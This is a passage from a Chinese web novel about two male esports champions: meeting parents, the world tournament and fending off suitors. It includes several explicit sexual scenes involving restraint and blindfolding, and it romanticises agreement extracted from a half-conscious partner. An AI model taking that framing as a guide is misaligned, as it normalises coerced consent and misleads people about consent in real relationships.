池一黎胡乱摇了摇头,并起双腿想克制住身体的条件反应,但是脚踝被用红绳绑在一起,动作间竭力软在牧绍怀里,反而哭得更加严重。 身上痕迹完全没有消掉,反而每天起床都会添上新印。最近天气渐渐回温,大街上有的人已经穿上薄款卫衣或是短袖,池一黎拉开衣柜,看半晌,还是选了一件黑色的长袖衬衫套上。 牧绍穿着红色的连帽卫衣从身后摸过来,把下巴搭在池一黎肩膀上,伸出两只手帮他扣扣子,扣到胸口那几颗时指尖一顿,点一下亮晶晶的银色钉子,注视着它颤巍巍地缀在那里,带着点笑意说:“甜心,感觉我会被谴责得很惨。 池一黎语气很轻:“不会的。” “是因为不打算告诉他们吗?”牧绍的嘴唇移动着贴近他的后颈,温热的气息拂过,随后用牙齿轻轻叼住那块柔软的肌肤,“还是你会安慰我?” 池一黎敏感地瑟缩一瞬,没有去管他话语里的意思,抿起唇说:“这里不可以。” 牧绍当然知道衣服盖不住的地方不能留印。其他的时间还好,池一黎根本不会多说什么。 但马上就要回家见父母,几天前他没控制住自己,池一黎闹脾气又说要不理他,带着哭腔骂人,也只会毫无攻击性地说他是不守信用的坏蛋。表情很冷漠地一边掉眼泪一边加重音强调说他言而无信、出尔反尔,然后把自己裹进被子里团成一团,宣布暂时不让他碰。 虽然被哄好后还是会乖乖任由他抱,可牧绍也不想再因为这件事情惹他不开心,心思一转,用手再点点银色的金属钉,压低声音问:“那这里呢?” 他问,可以留下痕迹吗? 池一黎在原地停滞半秒,凝起眉思考了一会儿,最后得出‘看不见所以没关系’的答案,慢慢转过身,伸出手钩住他的脖子。 下午一点,池一黎带着牧绍和他准备的一堆礼品盒踏入了家楼下的电梯。 衬衫被弄脏,他换上牧绍给他买的蓝色卫衣,和后者身上那一件同款不同色,再把卫衣帽子叠到黑色鸭舌帽上当不近人情的冷脸酷哥。 卫衣颜色太亮,路上很多人都频频回头。有几个想要联系方式的人凑过来,见到两个人牵在一起的手,转身又猛捶大腿遗憾地拂袖离去。 牧绍不爽的扬了下眉,无端多了几戾气,观察着身旁池一黎那张没什么表情的脸,一个想法油然而生。 趁着身旁人拿起手机打字回消息,牧绍用被放开的那只手揽住他的腰,见池一黎没有什么抗拒的情绪,似乎忘记自己说出的约法三章第二条,试探性地又将另一只手也慢慢环过去。 不过一个呼吸的工夫,牧绍整个人都贴了上来。池一黎触屏的动作微微一顿,眼帘低垂,什么也没说地把消息发完,将手机放进衣兜后只是安静地侧头看他几秒,碎发遮盖住浅色的瞳孔,转过脸后也没有伸手去推开他。 冷白的侧脸轮廓在暗色的阴影中过于显眼,牧绍得到默认许可后心满意足,就这样贴着他走了一路。 一直到池一黎按电梯楼层时牧绍才放开他,指节重新挤进他指缝里十指相扣,两秒后突然问他:“最近有没有什么,很久不联系的人突然给你发消息?” 没等池一黎回话,他接着又问:“或者从小玩到大的朋友突然回国,更或者认识了什么新的喜欢你的人……” 池一黎不解地看向他,不知道牧绍又在想些什么离谱的东西,但还是每一句都摇头回应说没有。 一层楼只有一户业主,电梯门一开,转身就能看到爸爸以一种随意又张扬的姿势靠在门口迎接,见到他们的身影,眉头一挑,语气里带了几分调侃:“呦,手牵得这么紧,还穿着情侣装?怎么,这是热恋期小情侣回家? 他啧啧称奇道:“粒儿,这就是那位欺负你的男朋友?” 回忆起之前自己发的那句话,池一黎定了定神,语气认真地介绍:“牧绍。” 他沉稳地说:“没有欺负我。” 池一黎这副替自己说话的模样简直太过可爱,牧绍忍住又想亲亲他的想法,零点一秒后,还是没忍住把池一黎的手握紧了点。 “现在改词是没欺负,怎么就直接向着男朋友了?”爸爸颇有微词地说,“之前都会找爸爸妈妈告状,你知道孩子出门在外,突然就被骗走,孤寡父母两个人在家有多心酸无助……” 爸爸的话越跑越偏,妈妈走过来干脆地打断他,把围裙一把塞进他怀里,笑着邀请道:“还站在这干什么?和男朋友进来啊。” 牧绍搜刮攻略推演多遍,用尽毕生所学的礼貌谦逊问好。爸爸扫过大堆的高端礼品盒,拿审视的目光掠过一圈:“会做饭?个子挺高,和我一起去厨房。” 已经提前打过招呼会来,他们来之前家里早就把准备工作做好,爸爸这句话只是一句聊天敲打的借口。他浑身的气场和池一黎截然不同,但眉宇间仍然像是一个模子刻出来的,透着如出一辙的相似轮廓。 妈妈“诶”了声问:“最近一直在你微博下看到有人在讨论他。是你说那位很厉害的人?” 池一黎觉得自己好像回答过这个问题,但还是如实道:“他打游戏很厉害。” 顿了顿,又怕妈妈嫌他不正经,刻意补充说:“做饭也很好吃。” “我儿子打游戏也很厉害啊,六届单人赛世界冠军呢。”妈妈又笑起来,“刚好你不会做饭。那既然决定和他在一起,只要你觉得开心的话就一切都好。” “我和你爸爸之前总说在一起要互相尊重,但如果觉得不开心,就和他分开。”妈妈说,“在他那里受委屈的话……反正爸爸妈妈都在这里。” 池一黎点点头“嗯”了声,用叉子把果盘里切好的梨块送进嘴里。 几分钟后,爸爸从厨房走出来,吹鼻子瞪眼冷哼一声,在所有人的目光聚集在他身上后,抱胸以一副成熟过来人的做派深思道:“内向小学生,虽然这件事是由你自己做主。但是你和讨人厌的村长才谈了不到一年,现在就领证还是有些为时过早。” 冷不丁听到很久之前的称呼,池一黎抬起头,却被后半段话砸得有些发懵。 什么时候领的证?他的大脑再一次短暂宕机。 紧随其后出来的牧绍勾着嘴角,接收到他目光时,迅速摆出一副知错的表情,轻车熟路地做了一个下跪的手势。 池一黎把苹果塞进嘴里,收回视线,还是没说出反驳的话。 妈妈在牧绍夸赞起阳台上的那些花时就表现出一副赞同的受用态度,再提到那两盆文心兰是他和池一黎一起去花鸟市场买的,笑了下说他眼光很好。爸爸的语气听起来也和牧绍聊得不错 ,但不妨碍他觉得牧绍非常不顺眼。 不给池一黎夹菜要谴责,表现过于殷勤还要责难,聊到池一黎之前发的消息更是狠狠责问。潮流无比的大学教授收起看着就不靠谱的气质,说话文质彬彬且夹枪带棒,一顿饭下来牧绍从头被骂到了尾。 尽管处处被未来岳父针对,但牧绍心里毫无压力,每句话都紧跟着迅速坦荡认错。反正爸爸每说一句,池一黎都会在桌子下悄悄拽他的衣角,然后嘴角微抿,用那双烟灰色的眼睛看他,像是晨曦间未散尽的雾气,眼底泛起朦胧柔和的光泽。 池一黎的目光是兴奋剂,吃完饭牧绍继续积极表现自己。一家三口还没反应过来,他已经速度很快地站起身收拾餐桌。 妈妈迟疑地夸了一句:“你男朋友看起来很能干。” 爸爸哼道:“就是用这副油嘴滑舌的样子才把粒儿骗到手的,简直装模作样!” 池一黎不知道他今天是吃了什么药,或者说是忘记吃药。但爸爸嫌弃的态度溢于言表,沉默半秒,还是为牧绍说了一句好话:“他…对我很好。” 牧绍把碗简单冲洗后放进洗碗机,脱下橡胶手套,转头看到进厨房陪他的池一黎,黏糊糊的贴过去抱住他,故意说自己有些伤心。 池一黎实在没有安慰过人,站在那里想了想,凑上来点了下他的嘴角,退回去后似乎又是想开口替爸爸刚才的言论道歉。 牧绍被他的反应逗笑,心软得一塌糊涂,凑到他耳边笑着说:“甜心,其实我今天特别特别开心。” 两个人离开前,妈妈说要装些烤好的饼干带回去分给队友。池一黎点点头,等着牧绍把手松开才迈步去阳台拿卡通袋子。 视野里看不到池一黎的身影,爸爸用很重的力道拍到牧绍肩上。他嘴角自然上翘,面色仍然是那副漫不经心,语调轻缓如家常闲话,但字里行间满含威胁: “小子,我家粒儿喜欢你,我就不多说什么,反正同性婚姻法也已经通过,他的性向我也无法改变。你们都是男人,既然选择在一起,尊重、担当、责任心,应该是所拥有的最基本原则。” “池一黎这孩子一直情绪很稳定。虽然因为体质问题很容易掉眼泪,但仔细想起来,我和他妈妈一直把他捧在手心,要什么给什么,从小到大什么苦都没有吃过一点,自然也没有怎么哭过。比赛的事我不做评价,单人世界赛冠军我和他妈妈已经足够骄傲。但除此之外,如果他哪一天因为你掉眼泪的话——” 他顿了顿,相似轮廓不笑时远比池一黎更加无情,目光如刀锋般锋利:“那恐怕,得再考虑一下你们合不合适了。” 牧绍总不能说池一黎每天晚上都会被自己欺负到掉眼泪。耳畔的这句话份量太重,他的表情也不由得严肃起来,郑重地说:“我会的。” 回俱乐部的路上,池一黎问他和爸爸刚进门时说了什么。但刚刚说到那关键的两个字,牧绍就秒速俯身,凑到他眼前笑:“什么?甜心宝贝老婆,你是要说和我结婚吗?” “我……” 池一黎停下来凝起眉。在一起时他就已经思考到了这个问题,一开始就没有打算拒绝,但是牧绍不应该对爸爸说还没有发生的事情。于是他摆出一副认真的表情,再次开口说:“你不应该那样说。” 牧绍装作无辜道:“甜心,我只是说有这个想法,可能爸爸理解错了吧。” 不着调的父亲有时的确思维和正常人不一样。牧绍这样一说,池一黎一瞬间又有些拿不准。 牧绍趁机伸手揽住他的腰,卫衣下的躯体柔软无比,还藏着自己今天早上的印记。他凑到池一黎耳畔咬耳朵,语气带着莫名愉悦:“洗碗时还听到妈妈夸我很能干……池三水,你觉得呢?” 第65章 牧绍的父母因为公务繁忙, 最终还是没能抽出时间回国。好在今年世界赛举办地点就是他们的常居城市,打电话说到时候见面就好。 池一黎上次问他们喜欢什么,牧绍说不用准备, 能跟着一起去见人对他爸妈来说就已经是最大的惊喜了,毕竟他父母因为多方面因素向来很不看好他。 情商堪忧、嚣张随性……整个人仍然毫无长进,只有哄骗人的说话艺术有在增进, 他自己也没有想到和池一黎进行到谈婚论嫁这一步能有这么轻易,脾气好到不管什么要求纠缠几下都会直接答应。 距离他开始表白才仅仅过去十一个月,进展是不是有些太快, 牧绍想。 在这十一个月里度过了全明星、跳过了转会期、在休赛日锲而不舍地打电话给他, 训练赛、见面、预备赛、他们牵了手……池一黎终于回复说可以和他交往。习惯了见面时的拥抱与亲吻、训练、训练、还有训练,他们上了床、闹脾气又和好、经历总决赛、见了父母、然后马上世界赛就要开始。 而且短暂的休赛期,池一黎简直对他有求必应。拿着小玩具问他可不可以戴着出门, 会在被他烦到没办法后凝起眉点头同意。在外面攥紧他的衣袖寸步不离地跟着他走,被抱住时又仰起脸很乖地任由他亲,回来后哪怕瞳孔失焦到痉挛,也钩着他的脖子随便他为所欲为。 牧绍在跟着来之前, 也没想过自己能把脑海中想象的事情全都实践一遍。 更何况池一黎每次吃饭时都会夸他做的饭非常好吃。牧绍问他“非常好吃”是有多喜欢, 池一黎就会在陷入思考后认真地给予他答复,再眨着眼睛对他说辛苦, 提供百分百的情绪价值。牧绍接着会点点下唇,笑着问他有没有什么劳动人员的专属奖励, 池一黎会在看他半秒后贴过来,给他一个一触即离的吻。 听着他大肆强调自己男朋友有多好,父母在视频那头如此点头形容:不说他性格怎么样,单是你能追到这件事,我们就得查查族谱看祖上积了多大的德。 妈妈问“去见他父母有准备什么了吗”时, 池一黎思考着回答:他说不需要准备东西。 年长者对此有些不赞同,觉得该有的礼节仍然不能省略,毕竟牧绍之前来家里时准备了一大堆,不说别的,思想上看起来就很重视。 想着上飞机也拿不下那么多东西,她和池一黎约时间去商场选了一条六千多的丝巾和一盒一万一的古树茶叶,东西少但价格合适,用来当见面礼刚好。 牧绍没有被允许一起出去,看他提着两个包装高端精致的礼品盒回来,拿他没有一点办法,失笑说其实真的没关系的,你去的话就是最好的礼物了。 池一黎没有思考地回答他:“但是要见的是……” 认真的表情还没有摆出来,后半句话就被以吻封缄。想要说出的话语在下一步被尽数揉碎,牧绍撑在池一黎身上,神情透着一种难以言喻的笑意,贴住他的唇瓣问:这么重视,宝贝池一黎,你怎么这么喜欢我? 牧绍在他们俱乐部待了不到两周就回去准备,世界赛邀请函全部发放到位,本赛区名额的拥有者仍然还是那熟悉的四支队伍。 国内赛万年老三WQG打野在群里刷屏喊:【芜湖~兄弟们为国争光!我们四个简直太厉害辣!】 韩城秒打字回复:【谁跟你四啊烙铁,HWD不和你同流合污!】 WGS副队在手机那头大笑:【那和谁?哦~差点忘了哥们,靠北你们这可是好玩的今年情侣装哈哈哈哈哈哈!!】 韩城盯着后面那行字,咬牙切齿地扣了六个点。 世界赛参赛队服在开赛前两周公开,当天不过几分钟就爬上了热搜榜一,粉丝调侃说今年ZKS和HWD是真实打实联姻,催联盟赶紧上官网链接发售,就当是随个份子。 HWD以往的世界赛队服都是简单到极致的黑红配色,样式跟体操服一样,今年却大不相同。 代乐给他们发队服时打开背包,韩城立刻闭眼做出无法抵挡的姿势,仿佛见到了某种不可名状之物:“庄路狗,麦艾斯!三水,麦艾斯!队长辅儿……看不清了!我嘞好亮好白好闪!” 庄路弥连忙接话:“韩狗你挺住啊!怎么续腿断脑子进水后现在眼睛也有问题了!” 队服是送去洗衣店洗好的,通体设计银白,胸口绣着华丽的橙白色队标,版型很正,衣袖上还贴有长方形的反光条。 白书罗沉吟片刻,意有所指:“这颜色对某些人不是很友好啊。” 队内唯一的黄黑皮青年韩城不禁闻声睁开双眼,黄黑皮的黄不发音,心下生出几分苦涩。 但刚睁眼就看到池一黎接过队服外套穿上后的冷酷模样,欣赏了一番他鬼斧神工般反光的冷白俊脸,又心平气和道:“没事,联盟第一颜霸池三水穿上好看就行,他好我也好,这可是我们HWD唯一钦定皇帝门面啊!” 池一黎侧头淡淡看他。代乐拿起包里用收纳袋分装的短袖,放到他手里诚挚建议道:“你可以光穿短袖,这是黑色的。” 韩城眉头一扬,三下五除二地拆开把短袖抖出来,摊开在身上比划:“怎么样,是不是很帅?” 白书罗抬头又低头,对比着从松闵发来的ZKS战队队服的图片陷入沉思。除了颜色相反、队标不一样外,两个战队的队服在版型和风格上根本毫无差别,甚至领口的绣花都仿佛复制粘贴。 代乐把他举到眼前的手机压下去,毫不心虚地解释道:“厂商说两个战队一起定的话,打五点二折还分别免费送一件。” 好无敌的理由,好歹毒的磕药鸡粉丝! 两个世界级豪门俱乐部有这么差钱吗?刚想吐槽的冯宙接过自己的队服,扶了下眼镜框,用余光观察低着头不知道在想什么的池一黎,立刻丧失了开口的勇气。 袖口自然下垂时还是偏长到盖住半截手掌。池一黎屈起手指,盯着食指指节上还没有完全消退的齿痕看了几秒,把队服拉链拉到了领口最顶端。 代乐拍了几张照满意点头:“不错不错,你们再抽时间把个人信息去总部采集一下,今年酒店老周统一安排。” 以往国际比赛前参赛选手都要去联盟大楼照相录入信息,但最近两年科技发展,为了省时间照片已经可以远程上传。 联盟总部和池一黎在一个城市。牧绍说最近自己训练忙到都没时间吃饭,又在收到通知的当天晚上不打招呼地飞来见他。 池一黎刚打算睡觉就被他敲响门,见到说自己分身乏术、今天没时间和他打电话的人突然出现在眼前,大脑一时间短暂过载,瞳孔微缩,握住门把的手都忘记放开。 牧绍勾唇笑起来:“甜心宝贝池一黎,你有想我吗?” 根本没有实质的分开感,一天二十四小时,除过训练连睡觉都在视频通话,像是一秒前才分开转身就又见面。但池一黎被勾住膝窝时,还是顺着牧绍的意思趴在他身上,用发丝亲昵地蹭过他的肩窝,低低开口说:“很想你。” 几小时前牧绍发消息说要拍照发给他看的身体链还没来得及摘下,两个人紧贴在一起时,金属就会透过衣料硌住骨骼。 银色的链条如同一条流动的星河,从脖颈处悄然垂落,顺着锁骨滑过胸膛,勾勒出肌肤的柔软线条,仿佛在无声地诉说着某种隐秘的诱惑。它环过腰腹,再向下缠绕住大腿,像是某种无形的束缚,带着近乎奢华的绚烂,在冷光与粉白间交织,形成一种强烈的视觉冲击。 牧绍顺着衣领勾起他颈后的流苏,耳畔顺势传来物体碰撞的清脆声音,看见池一黎眼底泌出水汽,锁骨处都被磨出糜丽的红痕。 牧绍刻意下压眉眼,无辜道:“昨天的屏幕像素太模糊了,我现在需要重新看一遍。” 池一黎微微一愣,缓缓地起身撑起自己,跨坐在他腰上,半晌垂眸,解开身上的衬衣纽扣。 落地镜倒映出柔软的冷白身躯,细碎闪烁的银链从胸缝和股间勾勒点缀。池一黎双眼蒙了一层黑色的领带,视线被彻底剥夺,只得无措地攥紧他的衣角。 感官在黑暗中异常敏锐,耳边传来细微的呼吸声,空气的流动仿佛都染着温度,温热的指腹顺着链条的方向一路轻抚,带来一阵无法遏制住的痒意。 心跳声在胸腔回荡,身体在颤栗中期待着什么,但牧绍的动作实在过于缓慢,介于单纯的欣赏和试探的触碰之间,困倦的意识缓缓陷入半梦半醒的状态,思绪开始变得模糊,记忆与思想交织在一起,又被强烈的快-感拽入现实。 链子被拨动拉扯的酥麻感密密传导,池一黎猛地呜咽开来,视野所及一片漆黑,脑海陷入停滞的虚影,身体不由得微微弓起,又缓缓放松,被某种无形的力量掌控,抓紧衣袖的指尖都被吞掉所有力气。 * 牧绍回ZKS俱乐部的两周里,每天都在和池一黎打视频。 他说想看的只要快递过去池一黎都会满足,隔着冷硬的小块屏幕,瓷色肌肤像是被月光亲吻的丝绸,微长发丝随意垂落肩头,呼吸间起伏连绵,冷漠声线也蕴含引诱,偏偏本人表情淡如雪川,泛不起一丝波动的红潮。 看得见吃不着,牧绍盯着手机屏幕过得水深火热,池一黎再怎么听他的话把衣服拉下来还是只能一个人寂寞地解决,早上起来后深觉郁闷且不爽,惹得从松闵调侃问他:“怎么回事,你怎么最近脸跨的像是老婆跟别人跑了一样?” 伍于起深思接话道:“难不成池三水终于想通了,现在要和你分手?” 什么老婆跟别人跑?!池一黎就算不理他,这辈子也不可以和他闹分手。 牧绍忍不住买了机票,随便找了个去总部的借口向教练请了一天假。半个月没碰过的身体还残留着肌肉记忆,指尖刚刚触碰,池一黎就反条件性地紧贴过来。 像是要把这些天的苦行僧心情全都倾泻而出,池一黎被他折腾到连发抖都困难,到最后只能无力地瘫软在他怀里,视线涣散地发出微不可察的泣音。 第二天一大早就要赶回去的飞机,没有池一黎抱的日子牧绍连觉都睡不着。他轻手轻脚地从床上爬起来,低头看着怀中人昏睡的侧脸,睫毛还湿漉漉的,眼尾还留着未干的泪痕。 他吻掉残留的泪珠,只来得及在厨房炖了一些池一黎随口一提说想吃的卤菜。汤汁浓郁,香气四溢,放那浸泡入味还得防止韩城那些饕餮看见偷吃,拿了张纸条大写特写贴上‘池一黎专属’。 池一黎答应他约法三章的那三条,不能在公众场合亲密接触,不能一天只亲他三次。虽然是趁着人意识不清时威逼利诱,但有录音为证,池一黎就算清醒过来,也只会抿起唇思考,然后点头认同可以废除。 男朋友过于好说话就是这样得寸进尺,牧绍把语音包一键发送,想着消息可能下午才会收到回复,拿出眼罩美滋滋地进入短暂的睡眠。 池一黎确实接收到了,但见面后牧绍亲他次数多了,还是会下意识征求他的同意。 HWD战队比ZKS要晚一天到达联盟预订的酒店,他穿着银白色的队服下车,刚要接过司机师傅递过来的行李箱,一个人影就先一步替他拿到手上。 牧绍身上是同款不同色的纯黑色队服,红色镰刀绣在左胸口,右手勾着行李箱,左手熟练地搂住他的腰,快速且准确地低头亲了一口。 韩城被他们结婚的谣传洗脑后已经将心态放平,对这一幕见怪不怪:“三水,那我先上去了,老规矩我住你隔壁,但你要和村长住一起天天……” 周围还有记者在拍摄,为了防止他再说出什么劲爆的话题,白书罗铁面无私地拎着他的领子把他拖走,用行为遏制住他的后半句话。 天空下着小雨,这个城市的泥土气息有些过重,池一黎抿起唇,穿过飘散在眼前的粉白花瓣看他。 “你不可以在大庭广众下直接亲我——”牧绍预测着他要说什么,先一步开口,语气轻快含笑:“你要这样说吗,甜心?” 池一黎没有立刻回应,长长的睫毛在眼下投下一片淡淡的阴影,直到牧绍抱着他走进酒店大厅,才轻轻回复道:“可以的。” 尺度更大的事情都已经出门做过,牧绍此刻的要求显得微不足道,池一黎没有理由拒绝。 牧绍停下来看他:“那我可以再吻你一次吗?” 大厅里人头攒动,而他们恰好在站在刚进门的地方。池一黎微微抬起头,烟灰色的眸瞳朦胧点雾,在光线变换间会透出银色的微光。他的目光掠过牧绍的脸,像是羽毛轻拂而过。 池一黎用手指抓住他的衣袖,站在那里谨慎地开口:“如果你想的话。” “我当然想啊。”牧绍心情极好地立刻接话说,“我想天天亲你,一见面就亲你,无时无刻不打招呼地亲你……就像呼吸一样自然,像心跳一样不可或缺。” “如果再还想奖励我的话,夹杂一点偶尔的主动,就会让我心花怒放……”牧绍故意停顿了一下,感受到衣袖上的力道骤然收紧,不由得笑起来,“宝贝池一黎,我暂时什么也没有想。” 池一黎在他出尔反尔的话语里已经被骗习惯,不知道他又打的什么主意,拽拽他的袖口,看着他说,想现在亲也没关系的。 牧绍笑意深了点,继续问:“那我把——现在这一次机会,推迟到晚上睡觉前可以吗?” 池一黎点点头说:“可以。”顿了下,他又快速地补充道,“至于其他的,等比赛结束后。” 世界入围赛由抽签决定,默认轮空不参加,为期四天。瑞士轮阶段为期十天,隔天开始淘汰赛的抽签,正式进入决赛角逐阶段。 往年单人赛和小组赛采用并行的赛制,选手们需要在双线作战中平衡精力与策略,但今年单人赛的赛程被刻意延后。当小组赛进行到四分之一决赛时,池一黎才迎来了他的第一场单人半决赛对局。 对手来自大洋赛区,刚刚在赛场上被他干脆利落地击败,此刻却毫无芥蒂地凑了过来,脸上挂着热情的笑容。 他的眼神里带着毫不掩饰的欣赏,甚至还有一丝隐隐的期待,操着一口流利的国语,语气轻松而自然:“嘿,WATER,你的表现太棒了!刚好接下来两天都没有比赛,不知道我有没有这个荣幸,邀请你一起去晚上的宴会?” 池一黎微微抬眸看他,狭长的浅色瞳如同冬日里凝结的霜,自带一股无形气场。银白色的队服贴合着他的身形,在灯光下泛着淡淡的光泽,整个人就像刚从极寒之地中刚凝结出的一块冰。 几秒后,池一黎淡淡地收回视线,语气沉稳而简单:“有约。” 但对方似乎非要缠住他这块冷硬的冰川一样,锲而不舍地从后台一路跟到了休息室。 以往池一黎在众人眼中就像一座高不可攀的冰山,外表看起来完全是个冷酷无情的无性恋仙人,根本没有人会有这个想法。 但是今年在公众场合任由牧绍抱他亲他,在对方怀里像是无害乖巧的白色团子——国际定律,往往外形冷漠的人内里都截然相反,从第一个隔壁赛区的人开始,这已经是第二十四个来搭讪的人。 牧绍靠在HWD休息室门口,没什么表情地叼着牛肉干看着这一幕。 从松闵来找白书罗聊天,顺道和他一起靠在这里,从手机屏幕上抬头,果断给他了一个肘击:“遇到当面撬墙脚的了,这你都不生气?上去宣示主权啊!” 牧绍目光都不移动一下,懒洋洋看着池一黎的方向开口:“优秀又漂亮的人被喜欢是正常事情。证明我眼光很好。就算别人再喜欢他,他也只喜欢我,我为什么要生气?” “生气的原因是什么,自卑?无能?我比不上其他人?还是害怕他和别人跑掉?”牧绍不知道想到什么,眼底带了点笑意,“而且……” 从松闵好奇地问:“而且什么?” “而且,我非常会装可怜啊。”牧绍勾起嘴角,大言不惭地直起身来。 牧绍几口嚼完将牛肉干咽下去,随手将包装袋揉成一团投入一旁的垃圾桶。池一黎虽然外表看起来冷漠且不近人情,但是任由别人跟着他走,就已经是一贯对待不熟悉人的礼貌态度。 但是太过礼貌可不是件好事情,这样客气,怪不得之前他不在时庄路弥总是给他打小报告,说哪怕池一黎明确拒绝了那些人还是纠缠不放。 明明预想里,池一黎全世界只会被他一个人纠缠,然后对他一个人心软。牧绍迈开几大步走过去,在池一黎还没反应过来时伸手一捞,把下巴放到他的肩膀,搂着他,刻意加重语气说:“甜心,我有点吃醋。” 他的声音毫不收敛,不止对面的人,池一黎也微微一愣。但很快反应过来,放松捏住衣袖的指节,任由他挤进来和自己十指相扣。 从松闵打字的动作一顿,看到在说出那句话时牧绍毫不掩饰的得意笑脸,默默又在群里发送了几句吐槽。 牧绍轻轻抬起两人相握的手,低下头吻了吻池一黎的手背,随后才慵懒地开口。 他屈起另一只手的食指点了下池一黎:“我老婆,”接着他又在空中画着爱心指向自己,“很爱我,”语气带着不容置疑的确定,“我也一样。” 牧绍满意地点点头说:“合法,登记,唯一,懂?” 似乎犹嫌不够,牧绍又把这些字词拆分开来,再用不同的三种外语说了三遍。 对面的外国青年理解了他的意思,双臂一摊,无比开放。庆祝比赛结束的赛后派对而已,他说,固定关系是什么?根本毫不在意。 牧绍眼睛眯起来,对国外这些人的开放程度也有心理准备。猜到他来邀请池一黎,现在手机应该还是和同伴进行通话中的状态,索性笑着说:“如果你们这些人solo打得过我,可以试着再来邀请他。” 连续六年世界冠军得主的这番话过于有威慑力,在游戏竞技的大背景下,任何人对此都无法挑衅反驳,更何况两个人感情看起来确实无法被插足,青年只得悻悻离开。 回去的路上牧绍把头埋到池一黎脖颈装可怜,蹭了蹭他说:“甜心,再被纠缠就和我说好不好?我如果这次没有恰好碰到,你是不是还是不打算告诉我?” 池一黎没有回复,他只是单纯觉得没有必要。毕竟自己又不会答应他们的任何请求,没有发生的事情没必要特意去说明。 但是牧绍显然不这样想。 “不可以答应他们的邀约,不可以参加他们的聚会,不可以接受他们给你的礼物……因为他们比我更会骗人,就专门哄骗你这种随便就信任别人的笨蛋小雪貂。”牧绍一连串地举例子,郑重其事道,“简直比我还要坏蛋一百倍。” 池一黎有些不满他的形容,纠正道:“我不是笨蛋。” “你明明就是,不然怎么会被我这样轻易骗到手里。”牧绍进房间后把他压在门上,眉眼都随着语气下压起来,“当你的男朋友就已经像是在做梦,而且已经缠着你答应要和我结婚,宝贝池一黎,我不敢想象,如果你突然跟着别人跑掉,我该怎么办?大概会直接心碎到无法呼吸。” 牧绍看起来实在太过可怜。池一黎一时间不知道该怎么回复他这句话,过了一两秒后低低说:“我不会答应他们的。” “我当然知道,因为对我而言唯一特殊的池一黎只喜欢我……”牧绍笑意有些掩盖不住,顺着他的唇瓣一路咬过去,“那我能不能抱地再紧一点?” 得到池一黎点头后,牧绍黏糊糊地贴住池他,又想摸摸这些天一直都没有摘下来的银链,手指顺着队服外套游走,摸到他衣领下脖颈处的突显。 池一黎有些发痒地瑟缩一瞬,眨眨眼睛想规避掉他的碰触,抿起唇半晌,最后还是任由他把自己的衣服拉开。 银色的链子坠在柔软圆润的胸膛,在肌肤上闪着细碎的光斑,映照在眸瞳里,像是碎月光般引人注目。 牧绍轻轻碰了碰,语气克制道:“我就摸一摸……比赛结束前,我会暂时忍住自己不去影响你的。” 第66章 小组赛总决赛后的第二天晚上就是单人赛。 输赢不影响他们之间的过命友谊, 韩城、庄路弥、徐克山和其他战队的几个好哥们在观众席第一排给他举应援灯牌。 很长的一条横幅,灯管是超亮的橙色,双排, 字体在后台都能看得一清二楚,上书一行大字:“世一单池三水!皇帝!冠军!霸主!” 被他们拉来的冯宙似乎是觉得有些不好意思,戴着宽大的帽子, 拿横幅把自己的脸盖得严严实实,摄像机一扫,又被WQG打野毫不留情地扒了下来, 露出有些强装镇定的表情。 池一黎在后台等主持人过开场白, 闪着流光的设备放在一旁的桌子上。牧绍握住他的手,动作很轻地给他戴上黑色护腕,确认没问题后捏了捏他的指节, 低低说:“他们今天在观众席。” 谁在观众席? 池一黎愣了下,看到他少见的、一副等待自己回应的紧张样子,下意识转头,看到一侧大屏幕上的画面。坐在韩城正后方VIP座位的夫妇有着和牧绍万分相似的脸, 说没发现都有些不应该。 牧绍那句“专门来看你的”的话语卡在咽喉, 虽然知道池一黎绝对不会因为自己这句话影响发挥,但是说出来好像又显得有些过于刻意。 心跳得有些剧烈, 甚至无端在替即将上场的池一黎紧张,比自己打比赛都要难耐, 牧绍思维转了一圈,突然想问一会儿比完赛可不可以和我一起去见他们,最后发现自己怎么又开始说起废话。 主持人的邀请上场的话语在一旁的音箱传出,工作人员走过来示意。牧绍勾着他的指节放在嘴边亲了亲,索性抬起头笑起来说:“我就站在这里, 等你将七连冠收入囊中。” 世界单人赛冠军不比任何一个奖项含金量低,第一排那几个人在他上台后喊得气势磅礴。主持人开玩笑活跃气氛,问场下说要不要省略惯例的赛前选手喊话。摄像机往观众席一扫,大屏幕上的韩城举着印着‘皇帝’字样的闪光应援棒,在池一黎看过去后夸张地翻了个花手,动作间夹杂着橙色的闪光摆尾。 牧绍今天早上起床后就是这样。挑眉扬笑说不要眨眼,两只手并在一起,非常简单地翻转一圈,就凭空变出娇艳欲滴的蓝色玫瑰花,随即懒洋洋地把花放到他耳畔,凑过来亲他,加重音说:“甜心宝贝池一黎今天往场上一站,就是所有人中打游戏最厉害的至尊小皇帝。” 虽然早已习惯了被别人称皇称帝,但是牧绍这样正儿八经地说出来,还是未免有些过于诙谐。池一黎想到这里,还是没忍住勾起嘴角笑了一下。 他在摄像机下笑的次数屈指可数。需要控制住过多的情绪外露,习惯于面无表情地瘫着一张脸,不然眼泪不分场合突如其来地掉下来会产生各种麻烦。如果不是那张脸冷下时仍然过于惊艳,看不起人的称号可能会比牧绍的欠揍更加在联盟盛行。 队友在看着他、牧绍在看着他、父母也在看着他……似乎都在看他,戴上耳机手指触摸键盘那刹,全世界都变得寂静下来,宛如身处与世隔绝的冰川内部。 今年是恰好的第七年,池一黎想起自己第一次站在职业赛场。 游戏、电竞、职业选手,看起来和在学校成绩名列前茅的三好学生毫不沾边。但是当他说出这个想法,父母就在了解后给予很大的鼓励和支持——如果有天赋的话为什么要磨灭他?手速跟得上反应、反应跟得上意识,身处黄金年龄的阶段,想做什么就大胆去做,反正爸爸妈妈总在那里。 家人、朋友、爱人……似乎已经什么都不缺。HWD在几天前惜败第三,牧绍昨天晚上夺冠,回来后又打转着哄他,郑重地强调说自己得奖就是给未来老婆看的,他的荣誉就是池一黎的荣誉。 牧绍这样说:“男朋友一直这样厉害的话,你会更喜欢我一点吧?” 池一黎认同他前一句话,但是结合后半句思考了几秒,才在牧绍期待的目光里点了下头。 两个人开房间打了四局solo,除了第一局,牧绍剩下的三局都一败涂地,说自己可能比完赛就不会打游戏了,一见到池一黎就只顾着去看他,完全没办法集中精力,菜也是情有可原。一套话语语气诚挚且毫无表演痕迹。 如果不是闪现错位置还能攻击到牧绍的角色,池一黎也不会察觉到他是故意输掉想逗自己开心。 